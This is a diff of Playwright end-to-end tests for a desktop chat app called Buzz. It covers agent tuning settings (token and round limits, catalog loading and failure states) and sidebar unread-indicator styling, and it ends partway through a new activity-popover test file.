+ *   1. Global defaults Advanced shows numeric inputs for buzz-agent.
+ *   2. Global defaults Advanced hides numeric inputs for non-capable runtimes.
+ *   3. Per-agent Goose: saving a max-tokens value globally surfaces as
+ *      Inherit (<value>) placeholder in the per-agent edit dialog.
+ *   4. Delayed catalog: while loading, saved tuning env vars stay visible
+ *      as generic rows (not silently dropped); structured controls appear
+ *      once the catalog settles.
+ *   5. Failed catalog: when discovery errors, saved tuning env vars remain
+ *      visible as generic rows (never the "unsupported" empty state).
+ */
+
+import { expect, test } from "@playwright/test";
+import { installMockBridge, TEST_IDENTITIES } from "../helpers/bridge";
+
+// ── Helpers ────────────────────────────────────────────────────────────────
+
+async function openAiDefaultsSettings(page: import("@playwright/test").Page) {
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await page.getByTestId("open-settings").click();
+  await page.getByTestId("profile-popover-settings").click();
+  await expect(page.getByTestId("settings-view")).toBeVisible();
+  await page.getByTestId("settings-nav-agents").click();
+  await expect(page.getByTestId("settings-global-agent-config")).toBeVisible({
+    timeout: 10_000,
+  });
+  await expect(page.locator(".animate-spin").first()).not.toBeVisible({
+    timeout: 5_000,
+  });
+}
+
+async function openEditAgentDialog(
+  page: import("@playwright/test").Page,
+  agentName: string,
+) {
+  await page.goto("/");
+  await page.getByTestId("open-agents-view").click();
+
+  const agentButton = page.getByRole("button", {
+    name: `${agentName} agent profile`,
+  });
+  await expect(agentButton).toBeVisible({ timeout: 10_000 });
+  await agentButton.click();
+  await expect(page.getByTestId("user-profile-panel")).toBeVisible({
+    timeout: 10_000,
+  });
+  await page.getByTestId("user-profile-edit-agent").click();
+  await expect(page.getByTestId("edit-agent-dialog")).toBeVisible({
+    timeout: 10_000,
+  });
+}
+
+// ── Tests ──────────────────────────────────────────────────────────────────
+
+test("global_advanced_buzz_agent_shows_all_numeric_controls", async ({
+  page,
+}) => {
+  // The mock bridge's withMockRuntimeConfigMetadata injects the numeric env var
+  // fields for buzz-agent. When buzz-agent is selected and Advanced is opened,
+  // all three numeric inputs must be visible.
+  await installMockBridge(page, {
+    acpRuntimesCatalog: [
+      {
+        id: "buzz-agent",
+        label: "Buzz Agent",
+        avatar_url: "",
+        availability: "available",
+        command: "buzz-agent",
+        binary_path: "/usr/local/bin/buzz-agent",
+        default_args: [],
+        mcp_command: null,
+        install_hint: "Ships with the Buzz desktop app.",
+        install_instructions_url: "https://github.com/block/buzz",
+        can_auto_install: false,
+        underlying_cli_path: null,
+        auth_status: { status: "not_applicable" },
+      },
+    ],
+    globalAgentConfig: {
+      env_vars: {},
+      provider: "anthropic",
+      model: null,
+      preferred_runtime: "buzz-agent",
+    },
+  });
+
+  await openAiDefaultsSettings(page);
+
+  // Open the Advanced section. The settings card uses disclosure="full" (no
+  // animation wrapper), so we click the toggle and wait for content directly.
+  await page.getByTestId("global-agent-advanced-toggle").click();
+
+  // All three numeric inputs must be present for buzz-agent.
+  await expect(page.getByTestId("numeric-max-output-tokens-input")).toBeVisible(
+    { timeout: 5_000 },
+  );
+  await expect(page.getByTestId("numeric-context-limit-input")).toBeVisible();
+  await expect(page.getByTestId("numeric-max-rounds-input")).toBeVisible();
+});
+
+test("global_advanced_non_capable_runtime_hides_numeric_controls", async ({
+  page,
+}) => {
+  // Claude has no numeric tuning env vars (contextLimitEnvVar = null etc.).
+  // After selecting Claude, the Advanced section must show no numeric inputs.
+  await installMockBridge(page, {
+    acpRuntimesCatalog: [
+      {
+        id: "claude",
+        label: "Claude Code",
+        avatar_url: "",
+        availability: "available",
+        command: "/usr/local/bin/claude-agent",
+        binary_path: "/usr/local/bin/claude-agent",
+        default_args: ["acp"],
+        mcp_command: null,
+        install_hint: "Install via npm.",
+        install_instructions_url: "https://example.com",
+        can_auto_install: true,
+        underlying_cli_path: "/usr/local/bin/claude",
+        auth_status: { status: "logged_in" },
+      },
+    ],
+    globalAgentConfig: {
+      env_vars: {},
+      provider: null,
+      model: null,
+      preferred_runtime: "claude",
+    },
+  });
+
+  await openAiDefaultsSettings(page);
+
+  await page.getByTestId("global-agent-advanced-toggle").click();
+
+  // No numeric inputs must render for a non-capable runtime.
+  await expect(page.getByTestId("numeric-max-output-tokens-input")).toHaveCount(
+    0,
+  );
+  await expect(page.getByTestId("numeric-context-limit-input")).toHaveCount(0);
+  await expect(page.getByTestId("numeric-max-rounds-input")).toHaveCount(0);
+});
+
+test("goose_per_agent_advanced_max_tokens_shows_inherited_global_placeholder", async ({
+  page,
+}) => {
+  // Save GOOSE_MAX_TOKENS = 16384 in the global Agent Defaults settings via
+  // the UI, then open a Goose agent's edit dialog. The max-output-tokens input
+  // must show "Inherit (16384)" — the globally-saved value surfaced via the
+  // inherited placeholder.
+  await installMockBridge(page, {
+    globalAgentConfig: {
+      env_vars: { ANTHROPIC_API_KEY: "sk-ant-test-key" },
+      provider: "anthropic",
+      model: "claude-opus-4-5",
+      preferred_runtime: "goose",
+    },
+    managedAgents: [
+      {
+        pubkey: TEST_IDENTITIES.tyler.pubkey,
+        name: "Tyler Agent",
+        runtime: "goose",
+        status: "stopped",
+        channelNames: ["agents"],
+      },
+    ],
+  });
+
+  // Step 1: open global defaults, expand Advanced, enter the max-tokens value.
+  await openAiDefaultsSettings(page);
+  await page.getByTestId("global-agent-advanced-toggle").click();
+  await expect(page.getByTestId("numeric-max-output-tokens-input")).toBeVisible(
+    { timeout: 5_000 },
+  );
+  await page.getByTestId("numeric-max-output-tokens-input").click();
+  await page
+    .getByTestId("numeric-max-output-tokens-input")
+    .pressSequentially("16384");
+  // Blur to ensure React's change event fires for the number input.
+  await page.keyboard.press("Tab");
+
+  // Step 2: save the global defaults.
+  await expect(page.getByRole("button", { name: "Save defaults" })).toBeEnabled(
+    { timeout: 5_000 },
+  );
+  await page.getByRole("button", { name: "Save defaults" }).click();
+  // Wait for the save to complete: the button returns to disabled (dirty resets).
+  await expect(
+    page.getByRole("button", { name: "Save defaults" }),
+  ).toBeDisabled({ timeout: 5_000 });
+
+  // Step 3: navigate back and open the per-agent edit dialog for the Goose
+  // agent. We use the app's Back link rather than page.goto("/") to preserve
+  // the in-memory mock state (page.goto causes a full reload that resets it).
+  await page.getByRole("button", { name: "Back to app" }).click();
+  await page.getByTestId("open-agents-view").click();
+  const agentButton = page.getByRole("button", {
+    name: "Tyler Agent agent profile",
+  });
+  await expect(agentButton).toBeVisible({ timeout: 10_000 });
+  await agentButton.click();
+  await expect(page.getByTestId("user-profile-panel")).toBeVisible({
+    timeout: 10_000,
+  });
+  await page.getByTestId("user-profile-edit-agent").click();
+  await expect(page.getByTestId("edit-agent-dialog")).toBeVisible({
+    timeout: 10_000,
+  });
+
+  // Wait for the provider field — signals the catalog and dialog have settled.
+  await expect(page.locator("#edit-agent-llm-provider")).toBeVisible({
+    timeout: 10_000,
+  });
+
+  // Open the Advanced section.
+  await page.getByRole("button", { name: "Advanced", exact: true }).click();
+  await expect(page.getByTestId("numeric-max-output-tokens-input")).toBeVisible(
+    { timeout: 5_000 },
+  );
+
+  // The placeholder must reflect the globally-saved value.
+  await expect(
+    page.getByTestId("numeric-max-output-tokens-input"),
+  ).toHaveAttribute("placeholder", "Inherit (16384)");
+});
+
+test("delayed_catalog_per_agent_saved_tuning_values_visible_then_structured_controls_appear", async ({
+  page,
+}) => {
+  // Scenario: catalog takes 5 seconds to respond (simulates slow discovery).
+  // The per-agent edit dialog opens. While the catalog is still in flight,
+  // saved tuning env vars must not be dropped from view — they appear as
+  // generic env rows (no hiddenKeys applied yet). Once the catalog settles,
+  // the structured numeric controls replace the generic rows.
+  await installMockBridge(page, {
+    acpRuntimesCatalog: [
+      {
+        id: "buzz-agent",
+        label: "Buzz Agent",
+        avatar_url: "",
+        availability: "available",
+        command: "buzz-agent",
+        binary_path: "/usr/local/bin/buzz-agent",
+        default_args: [],
+        mcp_command: null,
+        install_hint: "Ships with the Buzz desktop app.",
+        install_instructions_url: "https://github.com/block/buzz",
+        can_auto_install: false,
+        underlying_cli_path: null,
+        auth_status: { status: "not_applicable" },
+      },
+    ],
+    // 5-second delay: generous enough that the dialog opens and Advanced is
+    // expanded while the catalog query is still in-flight (navigation takes
+    // ~1-2 s), but short enough to keep the test under 30 s.
+    acpRuntimesDelayMs: 5000,
+    globalAgentConfig: {
+      env_vars: {},
+      provider: "anthropic",
+      model: null,
+      preferred_runtime: "buzz-agent",
+    },
+    managedAgents: [
+      {
+        pubkey: TEST_IDENTITIES.tyler.pubkey,
+        name: "Tyler Agent",
+        runtime: "buzz-agent",
+        status: "stopped",
+        channelNames: ["agents"],
+        envVars: {
+          BUZZ_AGENT_MAX_OUTPUT_TOKENS: "4096",
+          BUZZ_AGENT_MAX_ROUNDS: "25",
+        },
+      },
+    ],
+  });
+
+  await openEditAgentDialog(page, "Tyler Agent");
+
+  // Open Advanced before the catalog has settled (the dialog opens quickly;
+  // the catalog query fires when the dialog opens and takes ~5 seconds).
+  await page.getByRole("button", { name: "Advanced", exact: true }).click();
+
+  // While loading: structured numeric controls must NOT be visible yet —
+  // the catalog-settling gate withholds them.
+  await expect(page.getByTestId("numeric-max-output-tokens-input")).toHaveCount(
+    0,
+  );
+
+  // The saved tuning env vars must be visible as generic rows (not hidden)
+  // while the catalog hasn't settled: BUZZ_AGENT_MAX_OUTPUT_TOKENS and
+  // BUZZ_AGENT_MAX_ROUNDS should appear in the env-vars editor.
+  await expect(
+    page.locator(
+      'input[data-testid="env-vars-key"][value="BUZZ_AGENT_MAX_OUTPUT_TOKENS"]',
+    ),
+  ).toBeVisible();
+  await expect(
+    page.locator(
+      'input[data-testid="env-vars-key"][value="BUZZ_AGENT_MAX_ROUNDS"]',
+    ),
+  ).toBeVisible();
+
+  // After the catalog settles (allow up to 8 s — 5 s delay + margin):
+  // structured controls appear, replacing the generic rows.
+  await expect(page.getByTestId("numeric-max-output-tokens-input")).toBeVisible(
+    { timeout: 8_000 },
+  );
+  await expect(page.getByTestId("numeric-max-rounds-input")).toBeVisible({
+    timeout: 8_000,
+  });
+});
+
+test("failed_catalog_per_agent_saved_tuning_values_remain_visible_as_generic_rows", async ({
+  page,
+}) => {
+  // Scenario: catalog discovery fails (network error / IPC rejection).
+  // The per-agent edit dialog opens. The saved tuning env vars must remain
+  // visible as generic rows — the error state must never produce the
+  // "unsupported" no-controls state that would hide persisted values.
+  await installMockBridge(page, {
+    acpRuntimesError: true,
+    globalAgentConfig: {
+      env_vars: {},
+      provider: "anthropic",
+      model: null,
+      preferred_runtime: "buzz-agent",
+    },
+    managedAgents: [
+      {
+        pubkey: TEST_IDENTITIES.tyler.pubkey,
+        name: "Tyler Agent",
+        runtime: "buzz-agent",
+        status: "stopped",
+        channelNames: ["agents"],
+        envVars: {
+          BUZZ_AGENT_MAX_OUTPUT_TOKENS: "8192",
+          BUZZ_AGENT_MAX_ROUNDS: "10",
+        },
+      },
+    ],
+  });
+
+  await openEditAgentDialog(page, "Tyler Agent");
+
+  // Open Advanced after a brief wait (query has had time to fail).
+  await page.waitForTimeout(500);
+  await page.getByRole("button", { name: "Advanced", exact: true }).click();
+
+  // Structured numeric controls must NOT render (catalog errored — no runtime).
+  await expect(page.getByTestId("numeric-max-output-tokens-input")).toHaveCount(
+    0,
+  );
+
+  // Saved tuning values must still be visible as generic env rows — the error
+  // state must never hide persisted values with no editor to replace them.
+  await expect(
+    page.locator(
+      'input[data-testid="env-vars-key"][value="BUZZ_AGENT_MAX_OUTPUT_TOKENS"]',
+    ),
+  ).toBeVisible({ timeout: 5_000 });
+  await expect(
+    page.locator(
+      'input[data-testid="env-vars-key"][value="BUZZ_AGENT_MAX_ROUNDS"]',
+    ),
+  ).toBeVisible();
+});
diff --git a/desktop/tests/e2e/badge.spec.ts b/desktop/tests/e2e/badge.spec.ts
index 0dfdfb549a..80dd52f635 100644
--- a/desktop/tests/e2e/badge.spec.ts
+++ b/desktop/tests/e2e/badge.spec.ts
@@ -1,8 +1,10 @@
 import { expect, test } from "@playwright/test";
 
+import { waitForAnimations } from "../helpers/animations";
 import { TEST_IDENTITIES, installMockBridge } from "../helpers/bridge";
 
 const DEFAULT_MOCK_PUBKEY = "deadbeef".repeat(8);
+const SHOTS = "test-results/channel-row-decoration-pr";
 
 async function waitForMockLiveSubscription(
   page: import("@playwright/test").Page,
@@ -67,6 +69,13 @@ async function getSettledBadgeState(page: import("@playwright/test").Page) {
   return getBadgeState(page);
 }
 
+async function getSidebarHomeBadgeText(page: import("@playwright/test").Page) {
+  return page
+    .getByTestId("sidebar-home-count")
+    .allTextContents()
+    .then((texts) => texts[0] ?? null);
+}
+
 function withAdditionalBadgeCount(baseline: { count: number }, count: number) {
   return { state: "count", count: baseline.count + count };
 }
@@ -79,6 +88,244 @@ test.beforeEach(async ({ page }) => {
   await installMockBridge(page);
 });
 
+test("selected Inbox and Agents rows keep their highlight without bold text", async ({
+  page,
+}) => {
+  await page.goto("/");
+
+  const inbox = page
+    .getByTestId("sidebar-primary-menu")
+    .getByRole("button", { name: "Inbox", exact: true });
+  await expect(inbox).toHaveAttribute("data-active", "true");
+  await expect(inbox).toHaveCSS("font-weight", "400");
+
+  const agents = page.getByTestId("open-agents-view");
+  await agents.click();
+  await expect(agents).toHaveAttribute("data-active", "true");
+  await expect(agents).toHaveCSS("font-weight", "400");
+});
+
+test("hovering a channel keeps its text color", async ({ page }) => {
+  await page.goto("/");
+  const channel = page.getByTestId("channel-engineering");
+  const initialColor = await channel.evaluate(
+    (element) => getComputedStyle(element).color,
+  );
+
+  await channel.hover();
+  await expect(channel).toHaveCSS("color", initialColor);
+});
+
+test("direct-message rows become prominent only when unread", async ({
+  page,
+}) => {
+  await page.addInitScript(() => {
+    window.localStorage.setItem("buzz-theme", "buzz-dark");
+  });
+  await page.goto("/");
+  const directMessage = page.getByTestId("channel-alice-tyler");
+
+  await directMessage.click();
+  await waitForMockLiveSubscription(page, "alice-tyler");
+  await page.getByTestId("channel-general").click();
+
+  const label = directMessage.locator("[data-sidebar-row-label]");
+  await expect(directMessage).toHaveCSS("opacity", "1");
+  await expect(label).toHaveCSS("opacity", "0.8");
+  await page.evaluate((pubkey) => {
+    window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "alice-tyler",
+      content: "An unread direct message",
+      kind: 40002,
+      pubkey,
+    });
+  }, TEST_IDENTITIES.alice.pubkey);
+
+  await expect(label).toHaveCSS("opacity", "1");
+  await expect(directMessage).toHaveCSS("font-weight", "700");
+});
+
+test("light mode reserves full opacity for unread text and avatars", async ({
+  page,
+}) => {
+  await page.goto("/");
+
+  const directMessage = page.getByTestId("channel-alice-tyler");
+  await directMessage.click();
+  await waitForMockLiveSubscription(page, "alice-tyler");
+  await page.getByTestId("channel-general").click();
+
+  const inbox = page
+    .getByTestId("sidebar-primary-menu")
+    .getByRole("button", { name: "Inbox", exact: true });
+  await expect(inbox).toHaveCSS("opacity", "1");
+  await expect(inbox.locator("[data-sidebar=menu-label]")).toHaveCSS(
+    "opacity",
+    "0.8",
+  );
+  await expect(inbox.locator("svg")).toHaveCSS("opacity", "0.8");
+  await expect(directMessage).toHaveCSS("opacity", "1");
+  await expect(directMessage.locator("[data-sidebar-row-label]")).toHaveCSS(
+    "opacity",
+    "0.8",
+  );
+
+  await page.evaluate((pubkey) => {
+    window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "alice-tyler",
+      content: "An unread direct message in light mode",
+      kind: 40002,
+      pubkey,
+    });
+  }, TEST_IDENTITIES.alice.pubkey);
+
+  await expect(directMessage.locator("[data-sidebar-row-label]")).toHaveCSS(
+    "opacity",
+    "1",
+  );
+  await expect(directMessage).toHaveCSS("font-weight", "700");
+});
+
+test("dark mode keeps selected labels regular and channel-level unread labels bold", async ({
+  page,
+}) => {
+  await page.addInitScript(() => {
+    window.localStorage.setItem("buzz-theme", "buzz-dark");
+  });
+  await page.goto("/");
+
+  await expect(page.locator("html")).toHaveClass(/dark/);
+  const inbox = page
+    .getByTestId("sidebar-primary-menu")
+    .getByRole("button", { name: "Inbox", exact: true });
+  await expect(inbox).toHaveAttribute("data-active", "true");
+  await expect(inbox).toHaveCSS("font-weight", "400");
+  await expect(page.getByTestId("open-agents-view")).toHaveCSS("opacity", "1");
+  await expect(
+    page.getByTestId("open-agents-view").locator("[data-sidebar=menu-label]"),
+  ).toHaveCSS("opacity", "0.8");
+  await expect(page.getByTestId("open-agents-view").locator("svg")).toHaveCSS(
+    "opacity",
+    "0.8",
+  );
+
+  await page.getByTestId("channel-general").click();
+  await expect(inbox).toHaveCSS("opacity", "1");
+  await expect(inbox.locator("[data-sidebar=menu-label]")).toHaveCSS(
+    "opacity",
+    "0.8",
+  );
+  await waitForMockLiveSubscription(page, "random");
+  await page.evaluate((pubkey) => {
+    window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "random",
+      content: "A dark-mode channel-level unread message",
+      kind: 40002,
+      pubkey,
+    });
+  }, TEST_IDENTITIES.alice.pubkey);
+
+  const unreadChannel = page.getByTestId("channel-random");
+  const engineeringLabel = page
+    .getByTestId("channel-engineering")
+    .locator("[data-sidebar-row-label]");
+  await expect(engineeringLabel).toHaveCSS("opacity", "0.8");
+  await expect(
+    page.getByTestId("channel-engineering").locator("svg"),
+  ).toHaveCSS("opacity", "0.8");
+  await expect(unreadChannel.locator("[data-sidebar-row-label]")).toHaveCSS(
+    "opacity",
+    "1",
+  );
+  await expect(unreadChannel).toHaveCSS("font-weight", "700");
+  await waitForAnimations(page);
+  await page.screenshot({
+    path: `${SHOTS}/sidebar-dark-unread.png`,
+    clip: { x: 0, y: 0, width: 320, height: 720 },
+  });
+});
+
+test("offscreen top-level unread shows the primary sidebar arrow", async ({
+  page,
+}) => {
+  await page.setViewportSize({ width: 1280, height: 360 });
+  await page.goto("/");
+  await page.getByTestId("channel-random").click();
+  await waitForMockLiveSubscription(page, "random");
+  await page.getByTestId("channel-general").click();
+
+  const sidebarScroller = page
+    .getByTestId("app-sidebar")
+    .locator('[data-sidebar="content"]');
+  await sidebarScroller.evaluate((element) => {
+    const random = element.querySelector<HTMLElement>(
+      '[data-testid="channel-random"]',
+    );
+    if (!random) throw new Error("Could not find #random in the sidebar");
+
+    // Keep #random just above the viewport so it is the next unread row.
+    element.scrollTop +=
+      random.getBoundingClientRect().bottom -
+      element.getBoundingClientRect().top +
+      1;
+  });
+  await expect(page.getByTestId("channel-random")).not.toBeInViewport();
+
+  await page.evaluate(
+    ({ pubkey }) => {
+      window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+        channelName: "random",
+        content: "A regular channel message",
+        kind: 40002,
+        pubkey,
+      });
+    },
+    { pubkey: TEST_IDENTITIES.alice.pubkey },
+  );
+
+  const activityArrow = page.getByTestId("sidebar-more-unread-above");
+  await expect(activityArrow).toBeVisible();
+  await expect(activityArrow).toHaveClass(/bg-primary/);
+  await activityArrow.click();
+  await expect(page.getByTestId("channel-random")).toBeInViewport();
+  await waitForAnimations(page);
+  await page.screenshot({
+    path: `${SHOTS}/sidebar-top-level-unread-arrow.png`,
+    clip: { x: 0, y: 0, width: 320, height: 360 },
+  });
+});
+
+test("offscreen unread DM shows the primary sidebar arrow", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.getByTestId("channel-alice-tyler").click();
+  await waitForMockLiveSubscription(page, "alice-tyler");
+  await page.getByTestId("channel-general").click();
+  await page.setViewportSize({ width: 1280, height: 360 });
+
+  const sidebarScroller = page
+    .getByTestId("app-sidebar")
+    .locator('[data-sidebar="content"]');
+  await sidebarScroller.evaluate((element) => {
+    element.scrollTop = 0;
+  });
+  await expect(page.getByTestId("channel-alice-tyler")).not.toBeInViewport();
+
+  await page.evaluate((pubkey) => {
+    window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "alice-tyler",
+      content: "An unread direct message",
+      kind: 40002,
+      pubkey,
+    });
+  }, TEST_IDENTITIES.alice.pubkey);
+
+  const activityArrow = page.getByTestId("sidebar-more-unread-below");
+  await expect(activityArrow).toBeVisible();
+  await expect(activityArrow).toHaveClass(/bg-primary/);
+});
+
 test("regular message bolds inactive channel without numeric badge", async ({
   page,
 }) => {
@@ -102,14 +349,24 @@ test("regular message bolds inactive channel without numeric badge", async ({
 
   await expect(page.getByTestId("channel-random")).toHaveCSS(
     "font-weight",
-    "600",
+    "700",
   );
   await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
-  await expect(page.getByTestId("channel-unread-dot-random")).toBeVisible();
+  await expect(page.getByTestId("channel-unread-dot-random")).toHaveCount(0);
   await waitForBadgeState(page, withDotOnlyBadge(baselineBadge));
+
+  await page.getByTestId("channel-random").click();
+  await expect(page.getByTestId("channel-random")).toHaveAttribute(
+    "data-active",
+    "true",
+  );
+  await expect(page.getByTestId("channel-random")).toHaveCSS(
+    "font-weight",
+    "400",
+  );
 });
 
-test("numeric badge increments for @mention in inactive channel", async ({
+test("top-level @mention bolds the channel without a row badge", async ({
   page,
 }) => {
   await page.goto("/");
@@ -134,7 +391,11 @@ test("numeric badge increments for @mention in inactive channel", async ({
     },
   );
 
-  await expect(page.getByTestId("channel-unread-random")).toBeVisible();
+  await expect(page.getByTestId("channel-random")).toHaveCSS(
+    "font-weight",
+    "700",
+  );
+  await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
   await expect(page.getByTestId("channel-unread-dot-random")).toHaveCount(0);
   await waitForBadgeState(page, withAdditionalBadgeCount(baselineBadge, 1));
 });
@@ -158,7 +419,7 @@ test("numeric badge increments for DM message", async ({ page }) => {
   await waitForBadgeState(page, withAdditionalBadgeCount(baselineBadge, 1));
 });
 
-test("numeric badge increments for interested thread reply in inactive channel", async ({
+test("interested thread reply shows the channel preview dot without incrementing Inbox", async ({
   page,
 }) => {
   await page.goto("/");
@@ -166,6 +427,7 @@ test("numeric badge increments for interested thread reply in inactive channel",
   await expect(page.getByTestId("chat-title")).toHaveText("general");
   await waitForMockLiveSubscription(page, "random");
   const baselineBadge = await getSettledBadgeState(page);
+  const baselineHomeBadge = await getSidebarHomeBadgeText(page);
 
   const rootEventId = await page.evaluate(() => {
     const root = window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
@@ -190,11 +452,15 @@ test("numeric badge increments for interested thread reply in inactive channel",
     { parentEventId: rootEventId, pubkey: TEST_IDENTITIES.alice.pubkey },
   );
 
-  await expect(page.getByTestId("channel-unread-random")).toBeVisible();
-  await waitForBadgeState(page, withAdditionalBadgeCount(baselineBadge, 1));
+  await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
+  await expect(page.getByTestId("channel-unread-dot-random")).toBeVisible();
+  await expect
+    .poll(() => getSidebarHomeBadgeText(page))
+    .toBe(baselineHomeBadge);
+  await waitForBadgeState(page, baselineBadge);
 });
 
-test("numeric badge increments for broadcast reply in inactive channel", async ({
+test("broadcast reply bolds the channel without a thread dot", async ({
   page,
 }) => {
   await page.goto("/");
@@ -219,7 +485,12 @@ test("numeric badge increments for broadcast reply in inactive channel", async (
     { pubkey: TEST_IDENTITIES.alice.pubkey },
   );
 
-  await expect(page.getByTestId("channel-unread-random")).toBeVisible();
+  await expect(page.getByTestId("channel-random")).toHaveCSS(
+    "font-weight",
+    "700",
+  );
+  await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
+  await expect(page.getByTestId("channel-unread-dot-random")).toHaveCount(0);
   await waitForBadgeState(page, withAdditionalBadgeCount(baselineBadge, 1));
 });
 
@@ -250,7 +521,7 @@ test("mark-as-read via context menu clears channel unread indicator", async ({
 
   await expect(page.getByTestId("channel-random")).toHaveCSS(
     "font-weight",
-    "600",
+    "700",
   );
   await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
 
@@ -259,15 +530,13 @@ test("mark-as-read via context menu clears channel unread indicator", async ({
 
   await expect(page.getByTestId("channel-random")).not.toHaveCSS(
     "font-weight",
-    "600",
+    "700",
   );
   await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
   await waitForBadgeState(page, baselineBadge);
 });
 
-test("mark-as-unread via context menu increments numeric badge", async ({
-  page,
-}) => {
+test("mark-as-unread via context menu bolds the channel", async ({ page }) => {
   await page.goto("/");
   await page.getByTestId("channel-general").click();
   await expect(page.getByTestId("chat-title")).toHaveText("general");
@@ -278,10 +547,65 @@ test("mark-as-unread via context menu increments numeric badge", async ({
   await page.getByTestId("channel-random").click({ button: "right" });
   await page.getByText("Mark unread").click();
 
-  await expect(page.getByTestId("channel-unread-random")).toBeVisible();
+  await expect(page.getByTestId("channel-random")).toHaveCSS(
+    "font-weight",
+    "700",
+  );
+  await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
+  await expect(page.getByTestId("channel-unread-dot-random")).toHaveCount(0);
   await waitForBadgeState(page, withAdditionalBadgeCount(baselineBadge, 1));
 });
 
+test("marking a message unread bolds its channel after leaving", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.getByTestId("channel-random").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("random");
+  await waitForMockLiveSubscription(page, "random");
+
+  const message = await page.evaluate(
+    ({ pubkey }) =>
+      window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+        channelName: "random",
+        content: "Keep this channel message unread",
+        kind: 40002,
+        pubkey,
+      }),
+    { pubkey: TEST_IDENTITIES.alice.pubkey },
+  );
+  if (!message) {
+    throw new Error("Mock message emitter is unavailable");
+  }
+
+  const messageRow = page
+    .getByTestId("message-row")
+    .filter({ hasText: "Keep this channel message unread" });
+  await expect(messageRow).toBeVisible();
+  await messageRow.hover();
+  await page.getByTestId(`more-actions-${message.id}`).click();
+  const toggle = page.getByTestId(`mark-read-toggle-${message.id}`);
+  await expect(toggle).toHaveText("Mark unread");
+  await toggle.click();
+
+  await expect(page.getByTestId("channel-random")).toHaveCSS(
+    "font-weight",
+    "700",
+  );
+  await waitForAnimations(page);
+  await page.screenshot({
+    path: `${SHOTS}/sidebar-active-manual-unread.png`,
+    clip: { x: 0, y: 0, width: 320, height: 720 },
+  });
+
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("channel-random")).toHaveCSS(
+    "font-weight",
+    "700",
+  );
+  await expect(page.getByTestId("channel-unread-dot-random")).toHaveCount(0);
+});
+
 test("remote read-state rollback is ignored while local mark-unread still increments badge", async ({
   page,
 }) => {
@@ -379,11 +703,15 @@ test("remote read-state rollback is ignored while local mark-unread still increm
 
   await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
 
-  // Local mark-unread remains an in-session affordance and should still show
-  // the dot immediately without publishing a lower read timestamp.
+  // Local mark-unread remains an in-session affordance and should still bold
+  // the channel immediately without publishing a lower read timestamp.
   await page.getByTestId("channel-random").click({ button: "right" });
   await page.getByText("Mark unread").click();
-  await expect(page.getByTestId("channel-unread-random")).toBeVisible();
+  await expect(page.getByTestId("channel-random")).toHaveCSS(
+    "font-weight",
+    "700",
+  );
+  await expect(page.getByTestId("channel-unread-random")).toHaveCount(0);
   await waitForBadgeState(page, withAdditionalBadgeCount(baselineBadge, 1));
 
   // Step 3: remote advance clears the local forced-unread dot.
diff --git a/desktop/tests/e2e/channel-activity-popover.spec.ts b/desktop/tests/e2e/channel-activity-popover.spec.ts
new file mode 100644
index 0000000000..a62d064d76
--- /dev/null
+++ b/desktop/tests/e2e/channel-activity-popover.spec.ts
@@ -0,0 +1,801 @@
+import { expect, test, type Page } from "@playwright/test";
+
+import { waitForAnimations } from "../helpers/animations";
+import { installMockBridge, TEST_IDENTITIES } from "../helpers/bridge";
+
+const SELF_PUBKEY = "deadbeef".repeat(8);
+const CHANNEL_GENERAL = "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50";
+const AGENT_PUBKEY = TEST_IDENTITIES.charlie.pubkey;
+
+type MockMessageEvent = {
+  id: string;
+  created_at: number;
+  pubkey: string;
+};
+
+type MockInboxFeedItem = {
+  content: string;
+  id: string;
+  tags: string[][];
+};
+
+async function waitForMockLiveSubscription(page: Page, channelName: string) {
+  await expect
+    .poll(() =>
+      page.evaluate(
+        (name) =>
+          (
+            window as Window & {
+              __BUZZ_E2E_HAS_MOCK_LIVE_SUBSCRIPTION__?: (input: {
+                channelName: string;
+              }) => boolean;
+            }
+          ).__BUZZ_E2E_HAS_MOCK_LIVE_SUBSCRIPTION__?.({
+            channelName: name,
+          }) ?? false,
+        channelName,
+      ),
+    )
+    .toBe(true);
+}
+
+async function emitMockMessage(
+  page: Page,
+  content: string,
+  options: {
+    parentEventId?: string;
+    pubkey: string;
+    createdAt: number;
+    mentionPubkeys?: string[];
+  },
+): Promise<MockMessageEvent> {
+  const event = await page.evaluate(
+    ({ body, parentEventId, pubkey, createdAt, mentionPubkeys }) =>
+      (
+        window as Window & {
+          __BUZZ_E2E_EMIT_MOCK_MESSAGE__?: (input: {
+            channelName: string;
+            content: string;
+            parentEventId?: string;
+            pubkey: string;
+            createdAt: number;
+            mentionPubkeys?: string[];
+          }) => MockMessageEvent;
+        }
+      ).__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+        channelName: "general",
+        content: body,
+        parentEventId,
+        pubkey,
+        createdAt,
+        mentionPubkeys,
+      }),
+    {
+      body: content,
+      parentEventId: options.parentEventId,
+      pubkey: options.pubkey,
+      createdAt: options.createdAt,
+      mentionPubkeys: options.mentionPubkeys,
+    },
+  );
+  if (!event) {
+    throw new Error("Mock message emitter is unavailable");
+  }
+  return event;
+}
+
+async function pushMockInboxFeedItems(page: Page, items: MockInboxFeedItem[]) {
+  await page.waitForFunction(
+    () =>
+      typeof (window as Window & { __BUZZ_E2E_PUSH_MOCK_FEED_ITEM__?: unknown })
+        .__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__ === "function",
+  );
+  await page.evaluate(
